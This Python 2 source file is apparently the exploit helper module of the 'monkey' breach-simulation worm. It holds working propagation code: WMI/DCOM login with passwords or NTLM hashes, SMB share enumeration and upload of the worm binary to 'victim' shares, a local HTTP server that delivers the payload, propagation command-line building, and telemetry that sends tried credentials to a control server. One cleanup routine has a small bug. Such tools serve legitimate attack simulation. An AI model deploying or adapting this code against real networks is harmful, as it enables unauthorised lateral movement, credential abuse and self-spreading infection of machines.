forked from p34709852/monkey
469 lines
16 KiB
Python
469 lines
16 KiB
Python
import os
|
|
import sys
|
|
import socket
|
|
import struct
|
|
import ntpath
|
|
import pprint
|
|
import logging
|
|
import os.path
|
|
import urllib
|
|
import monkeyfs
|
|
from difflib import get_close_matches
|
|
from network import local_ips
|
|
from transport import HTTPServer
|
|
from network.info import get_free_tcp_port, get_routes
|
|
from network.firewall import app as firewall
|
|
from impacket.dcerpc.v5 import transport, srvs
|
|
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
from impacket.dcerpc.v5.dcom import wmi
|
|
from impacket.dcerpc.v5.dtypes import NULL
|
|
|
|
|
|
class DceRpcException(Exception):
|
|
pass
|
|
|
|
|
|
__author__ = 'itamar'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class AccessDeniedException(Exception):
|
|
def __init__(self, host, username, password, domain):
|
|
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
|
(host, domain, username, password))
|
|
|
|
|
|
class WmiTools(object):
|
|
class WmiConnection(object):
|
|
def __init__(self):
|
|
self._dcom = None
|
|
self._iWbemServices = None
|
|
|
|
@property
|
|
def connected(self):
|
|
return self._dcom is not None
|
|
|
|
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
|
if not domain:
|
|
domain = host.ip_addr
|
|
|
|
dcom = DCOMConnection(host.ip_addr,
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
oxidResolver=True)
|
|
|
|
try:
|
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
|
wmi.IID_IWbemLevel1Login)
|
|
except Exception, exc:
|
|
dcom.disconnect()
|
|
|
|
if "rpc_s_access_denied" == exc.message:
|
|
raise AccessDeniedException(host, username, password, domain)
|
|
|
|
raise
|
|
|
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
|
|
try:
|
|
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
|
self._dcom = dcom
|
|
except:
|
|
dcom.disconnect()
|
|
|
|
raise
|
|
finally:
|
|
iWbemLevel1Login.RemRelease()
|
|
|
|
def close(self):
|
|
assert self.connected, "WmiConnection isn't connected"
|
|
|
|
self._iWbemServices.RemRelease()
|
|
self._iWbemServices = None
|
|
|
|
self._dcom.disconnect()
|
|
self._dcom = None
|
|
|
|
@staticmethod
|
|
def dcom_wrap(func):
|
|
def _wrapper(*args, **kwarg):
|
|
try:
|
|
return func(*args, **kwarg)
|
|
finally:
|
|
WmiTools.dcom_cleanup()
|
|
|
|
return _wrapper
|
|
|
|
@staticmethod
|
|
def dcom_cleanup():
|
|
for port_map in DCOMConnection.PORTMAPS.keys():
|
|
del DCOMConnection.PORTMAPS[port_map]
|
|
for oid_set in DCOMConnection.OID_SET.keys():
|
|
del DCOMConnection.OID_SET[port_map]
|
|
|
|
DCOMConnection.OID_SET = {}
|
|
DCOMConnection.PORTMAPS = {}
|
|
if DCOMConnection.PINGTIMER:
|
|
DCOMConnection.PINGTIMER.cancel()
|
|
DCOMConnection.PINGTIMER.join()
|
|
DCOMConnection.PINGTIMER = None
|
|
|
|
@staticmethod
|
|
def get_object(wmi_connection, object_name):
|
|
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
|
assert wmi_connection.connected, "WmiConnection isn't connected"
|
|
|
|
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
|
|
|
@staticmethod
|
|
def list_object(wmi_connection, object_name, fields=None, where=None):
|
|
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
|
assert wmi_connection.connected, "WmiConnection isn't connected"
|
|
|
|
if fields:
|
|
fields_query = ",".join(fields)
|
|
else:
|
|
fields_query = "*"
|
|
|
|
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
|
|
|
if where:
|
|
wql_query += " WHERE %s" % (where,)
|
|
|
|
LOG.debug("Execution WQL query: %r", wql_query)
|
|
|
|
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
|
|
|
query = []
|
|
try:
|
|
while True:
|
|
try:
|
|
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
|
record = next_item.getProperties()
|
|
|
|
if not fields:
|
|
fields = record.keys()
|
|
|
|
query_record = {}
|
|
for key in fields:
|
|
query_record[key] = record[key]['value']
|
|
|
|
query.append(query_record)
|
|
except DCERPCSessionError, exc:
|
|
if 1 == exc.error_code:
|
|
break
|
|
|
|
raise
|
|
finally:
|
|
iEnumWbemClassObject.RemRelease()
|
|
|
|
return query
|
|
|
|
|
|
class SmbTools(object):
|
|
@staticmethod
|
|
def copy_file(host, username, password, src_path, dst_path, timeout=60):
|
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
|
|
|
config = __import__('config').WormConfiguration
|
|
src_file_size = monkeyfs.getsize(src_path)
|
|
|
|
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
|
|
if not smb:
|
|
return None
|
|
|
|
# skip guest users
|
|
if smb.isGuestSession() > 0:
|
|
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
|
|
host, username, password)
|
|
|
|
try:
|
|
smb.logoff()
|
|
except:
|
|
pass
|
|
|
|
return None
|
|
|
|
try:
|
|
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
|
except Exception, exc:
|
|
LOG.debug("Error requesting server info from %r over SMB: %s",
|
|
host, exc)
|
|
return None
|
|
|
|
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
|
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
|
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
|
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
|
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
|
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
|
|
|
LOG.debug("Connected to %r using %s:\n%s",
|
|
host, dialect, pprint.pformat(info))
|
|
|
|
try:
|
|
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
|
except Exception, exc:
|
|
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
|
host, exc)
|
|
return None
|
|
|
|
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
|
|
|
high_priority_shares = ()
|
|
low_priority_shares = ()
|
|
file_name = ntpath.split(dst_path)[-1]
|
|
|
|
for i in range(len(resp)):
|
|
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
|
share_path = resp[i]['shi2_path'].strip("\0 ")
|
|
current_uses = resp[i]['shi2_current_uses']
|
|
max_uses = resp[i]['shi2_max_uses']
|
|
|
|
if current_uses >= max_uses:
|
|
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
|
share_name, host)
|
|
continue
|
|
elif not share_path:
|
|
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
|
share_name, host)
|
|
continue
|
|
|
|
share_info = {'share_name': share_name,
|
|
'share_path': share_path}
|
|
|
|
if dst_path.lower().startswith(share_path.lower()):
|
|
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
|
|
|
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
|
|
|
shares = high_priority_shares + low_priority_shares
|
|
|
|
file_uploaded = False
|
|
for remote_path, share in shares:
|
|
share_name = share['share_name']
|
|
share_path = share['share_path']
|
|
|
|
if not smb:
|
|
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
|
|
if not smb:
|
|
return None
|
|
|
|
try:
|
|
tid = smb.connectTree(share_name)
|
|
except Exception, exc:
|
|
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
|
share_name, host, exc)
|
|
continue
|
|
|
|
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
|
share_name, share_path, remote_path, host)
|
|
|
|
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
|
|
|
# check if file is found on destination
|
|
if config.skip_exploit_if_file_exist:
|
|
try:
|
|
file_info = smb.listPath(share_name, remote_path)
|
|
if file_info:
|
|
if src_file_size == file_info[0].get_filesize():
|
|
LOG.debug("Remote monkey file is same as source, skipping copy")
|
|
return remote_full_path
|
|
|
|
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
|
except:
|
|
pass # file isn't found on remote victim, moving on
|
|
|
|
try:
|
|
with monkeyfs.open(src_path, 'rb') as source_file:
|
|
# make sure of the timeout
|
|
smb.setTimeout(timeout)
|
|
smb.putFile(share_name, remote_path, source_file.read)
|
|
|
|
file_uploaded = True
|
|
|
|
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
|
src_path, share_name, share_path, host)
|
|
|
|
break
|
|
except Exception, exc:
|
|
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
|
share_name, host, exc)
|
|
continue
|
|
finally:
|
|
try:
|
|
smb.logoff()
|
|
except:
|
|
pass
|
|
|
|
smb = None
|
|
|
|
if not file_uploaded:
|
|
LOG.debug("Couldn't find a writable share for exploiting"
|
|
" victim %r with username %s and password '%s'",
|
|
host, username, password)
|
|
return None
|
|
|
|
return remote_full_path
|
|
|
|
@staticmethod
|
|
def new_smb_connection(host, username, password, timeout=60):
|
|
try:
|
|
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
|
except Exception, exc:
|
|
LOG.debug("SMB connection to %r on port 445 failed,"
|
|
" trying port 139 (%s)", host, exc)
|
|
|
|
try:
|
|
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
|
except Exception, exc:
|
|
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
|
host, exc)
|
|
return None, None
|
|
|
|
dialect = {SMB_DIALECT: "SMBv1",
|
|
SMB2_DIALECT_002: "SMBv2.0",
|
|
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
|
|
|
# we know this should work because the WMI connection worked
|
|
try:
|
|
smb.login(username, password, domain=host.ip_addr)
|
|
except Exception, exc:
|
|
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
|
|
host, username, password, exc)
|
|
return None, dialect
|
|
|
|
smb.setTimeout(timeout)
|
|
return smb, dialect
|
|
|
|
@staticmethod
|
|
def execute_rpc_call(smb, rpc_func, *args):
|
|
dce = SmbTools.get_dce_bind(smb)
|
|
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
|
if not rpc_method_wrapper:
|
|
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
|
|
|
return rpc_method_wrapper(dce, *args)
|
|
|
|
@staticmethod
|
|
def get_dce_bind(smb):
|
|
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
|
smb.getRemoteHost(),
|
|
filename=r'\srvsvc',
|
|
smb_connection=smb)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
dce.bind(srvs.MSRPC_UUID_SRVS)
|
|
|
|
return dce
|
|
|
|
|
|
class HTTPTools(object):
|
|
@staticmethod
|
|
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
|
if not local_port:
|
|
local_port = get_free_tcp_port()
|
|
|
|
if not local_ip:
|
|
local_ip = get_interface_to_target(host.ip_addr)
|
|
|
|
if not firewall.listen_allowed():
|
|
return None, None
|
|
|
|
httpd = HTTPServer(local_ip, local_port, src_path)
|
|
httpd.daemon = True
|
|
httpd.start()
|
|
|
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
|
|
|
|
|
def get_interface_to_target(dst):
|
|
if sys.platform == "win32":
|
|
try:
|
|
import dnet
|
|
intf = dnet.intf()
|
|
inte = intf.get_dst(dnet.addr(dst))
|
|
return str(inte['addr']).split("/")[0]
|
|
except ImportError:
|
|
# dnet lib is not installed
|
|
return get_close_matches(dst, local_ips())[0]
|
|
else:
|
|
# based on scapy implementation
|
|
|
|
def atol(x):
|
|
ip = socket.inet_aton(x)
|
|
return struct.unpack("!I", ip)[0]
|
|
|
|
routes = get_routes()
|
|
dst = atol(dst)
|
|
pathes = []
|
|
for d, m, gw, i, a in routes:
|
|
aa = atol(a)
|
|
if aa == dst:
|
|
pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
|
|
if (dst & m) == (d & m):
|
|
pathes.append((m, (i, a, gw)))
|
|
if not pathes:
|
|
return None
|
|
pathes.sort()
|
|
ret = pathes[-1][1]
|
|
return ret[1]
|
|
|
|
|
|
def get_target_monkey(host):
|
|
from control import ControlClient
|
|
import platform
|
|
import sys
|
|
|
|
if host.monkey_exe:
|
|
return host.monkey_exe
|
|
|
|
if not host.os.get('type'):
|
|
return None
|
|
|
|
monkey_path = ControlClient.download_monkey_exe(host)
|
|
|
|
if host.os.get('machine') and monkey_path:
|
|
host.monkey_exe = monkey_path
|
|
|
|
if not monkey_path:
|
|
if host.os.get('type') == platform.system().lower():
|
|
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
|
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
|
host.os.get('machine', '').lower() == platform.machine().lower():
|
|
monkey_path = sys.executable
|
|
|
|
return monkey_path
|
|
|
|
|
|
def build_monkey_commandline(target_host, depth):
|
|
from config import WormConfiguration, GUID
|
|
|
|
cmdline = ""
|
|
cmdline += " -p " + GUID
|
|
|
|
if target_host.default_tunnel:
|
|
cmdline += " -t " + target_host.default_tunnel
|
|
if target_host.default_server:
|
|
cmdline += " -s " + target_host.default_server
|
|
if depth < 0:
|
|
depth = 0
|
|
|
|
cmdline += " -d %d" % depth
|
|
|
|
return cmdline
|
|
|
|
|
|
def report_failed_login(exploiter, machine, user, password):
|
|
from control import ControlClient
|
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
|
'exploiter': exploiter.__class__.__name__,
|
|
'user': user, 'password': password})
|